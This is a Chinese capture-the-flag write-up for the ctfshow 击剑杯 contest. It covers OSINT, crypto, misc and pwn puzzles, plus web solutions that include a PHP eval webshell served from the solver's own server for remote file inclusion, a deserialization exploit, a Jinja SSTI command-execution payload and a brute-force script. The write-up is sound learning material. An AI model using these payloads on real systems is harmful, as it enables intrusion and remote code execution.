热身
进群得码
群里发送 击剑杯签到即可
听歌识曲
赛后问了群友,可能真的是积累与特征吧
大概有两种方法:
1:听歌词百度
2:直接知道什么歌
答案是普京ctfshow{Vladimir_Vladimirovich_Putin}
看图识码
网页是一张大的二维码,但是有四个定位符就很奇怪,根据hint,分离出四个小二维码
用二维码神器cortexscan
逐一扫描,然后拼接在一起,就是flag啦
看图识妹
直接贴大佬的脚本了
注意要下个chromedriver.exe
网址,版本要与chrome一致
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from time import sleep import requests import itertools from selenium import webdriver
def force_to_get_ans(session, url): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 'Cookie': f'session={session}'} for i in itertools.product(['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J'], [str(n) for n in range(10)]): chk = requests.post(f'{url}/check', {'meizi_id': ''.join(i)}, headers=headers).text if '回答错误,轮数重新开始计算' not in chk: return ''.join(i)
driver = webdriver.Chrome(r'chromedriver.exe') url = 'http://002b1a4d-e639-4e31-b149-dd0fb39d779d.challenge.ctf.show/'
driver.get(f'{url}/start') n = 1 while n <= 100: cke = driver.get_cookie('session') ans=force_to_get_ans(cke, url) driver.find_element_by_name('meizi_id').send_keys(ans) driver.find_element_by_xpath('/html/body/form/p[4]/button').click() sleep(3) n+=1s
|
见微知著
远程文件包含
先在服务器上用flask搭建一个网页
1 2 3 4 5 6 7 8 9 10 11 12 13
|
from flask import *
app = Flask(__name__) app.secret_key = '*************************'
@app.route('/',methods=['GET', 'POST']) def index(): return "<?php eval($_POST[1]);?>"
if __name__ == "__main__": app.run(host='0.0.0.0',port=80,debug=True)
|
运行
上传一个.user.ini
文件用来远程包含
因为加了头检测,所以需要在文件前加上GIF89a
在这个环境中,点也被过滤了,所以需要将ip转为数字
在线转换
访问upload即可远程包含
OSINT
英语阅读
OSINT的全称是Open source intelligence
根据这个进行关键词搜索
第一篇就是
开头就是人名
flag为ctfshow{Bill_Donovan}
这是哪里
图片很大,将主要信息人物截图再百度搜图
在贴吧中得到信息漳州市东山县黄道周公园
查询经纬度
ctfshow{23.7353_117.5125}
卡鲁铁盒
谷歌搜图可以找到原题
根据题目给出的网址搜索编号,找到港口和csc编号
注意名称全大写
flag:ctfshow{FBV854404_ROTTERDAM}
人家想玩嘛
ctfshow{娱乐项目名称-当地该娱乐项目票价-订票增值税}
百度识图
得到位置为迪拜购物中心喷泉
通过谷歌地图可以得知附近的景点lake fountain ride
谷歌搜索lake fountain ride 买票
,找到一个可能是官网的地方,标着票价65
每人
点右边的在线购票
得到增值税为5%
最后的结果要将fountain
去掉
flag为ctfshow{LAKE_RIDE-65-5%}
人有点多
百度识图或者谷歌识图都可以得出地点涩谷
,图中是涩谷的标志性街道
谷歌地图可以得到店铺名字BIC_CAMERA
和电话号码后四位1111
BIC_CAMERA有官网,找到线路图,可以得知最近的是副都心线
谷歌或者wiki里都可以得到副都心线
的编号为F16
其实上面的线路图已经可以看出出口是B2
了,但是这题坑就在这里,还需要在B2前加上个10
flag为ctfshow{BIC_CAMERA-1111-10B2-F16}
小城美食
flag格式:ctfshow{X省X市X区X村X号}
百度识图
关键词搜索
拼接一下,得到浙江省衢州市柯城区龚家埠头村28号
安装Arch
Example ctfshow{BV1GJ411x7h7}
根据pdf中的几个关键信息,白色字幕
,虚拟机
,安装arch
,在b站搜索arch安装,然后通过快速预览的方式粗滤查看,在细看
得到结果
BV1e3411B79M
WEB
给我看看
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); require_once("flag.php");
class whoami{ public $name; public $your_answer; public $useless;
public function __construct(){ $this->name='ctfshow第一深情'; $this->your_answer='Only you know'; $this->useless="I_love_u"; }
public function __wakeup(){ global $flag; global $you_never_know; $this->name=$you_never_know;
if($this->your_answer === $this->name){ echo $flag; } } }
$secret = $_GET['s']; if(isset($secret)){ if($secret==="给我看看!"){ extract($_POST); if($secret==="给我看看!"){ die("<script>window.alert('这是不能说的秘密');location.href='https://www.bilibili.com/video/BV1CW411g7UF';</script>"); } unserialize($secret); } }else{ show_source(__FILE__); }
|
简单的变量覆盖和反序列化
exp
1 2 3 4 5 6 7 8 9 10 11 12
| <?php
class whoami{ public $your_answer;
public function __construct(){ $this->your_answer=&$this->name; } }
$a = new whoami(); echo serialize($a);
|
代码使用了extract
函数,容易构成变量覆盖
谁是CTF之王?
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import requests import re
host = 'http://cab68c18-4dae-4f19-a5c9-4c4b015acf46.challenge.ctf.show'
url = f'{host}/madlib'
payload = { "verb":"{%set x=cycler%}", "noun":"{%set x=x.__init__%}", "adjective":"{%set x=x.__globals__", "person":"os.popen('cat f*')%}", "place":"{{x.read()}}" }
r = requests.post(url, json=payload)
flag = re.findall(r'ctfshow{.*}', r.text)[0]
print(flag)
|
MISC
中文识别带师
只有十个汉字,用鼠标写出来百度即可
要是再多一点就需要用到官方wp中的脚本了
CRYPTO
单向加密
hint是斐波那契
文本中结尾的=I2GWRFMO33EWUZM
也是hint,反转后base32解密结果为fibonacci
先用脚本跑出斐波那契数列,然后与文本比较,发现是ascii码,转换一下得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| n=0 a=0 b=1 c=1 fs=['1'] while 1: c=b+a a=b b=c if n>128: break fs.append(str(b)) n=n+1 f=open('code.txt') d=f.read() flag=[] l=len(fs) while len(d)!=0: for i in range(l-1,-1,-1): if d.find(fs[i].strip())==0: print(fs[i].strip(),i+1) flag.append(chr(i+1)) d=d[len(fs[i]):] break print(''.join( flag))
|
PWN
炒鸡好玩的井字棋
根据给的c代码,可以知道基本判断逻辑,检查输入是否小于3,检查是否有负号
但是没有检测棋子的范围,所以可以下在-1
这样的位置,用2^32-1
来输出-1
先正常下两个相连的棋子
[0,0],[0,1]
然后输入[0,4294967295],其实就是[0,-1]
三个棋子一条线相连,得到flag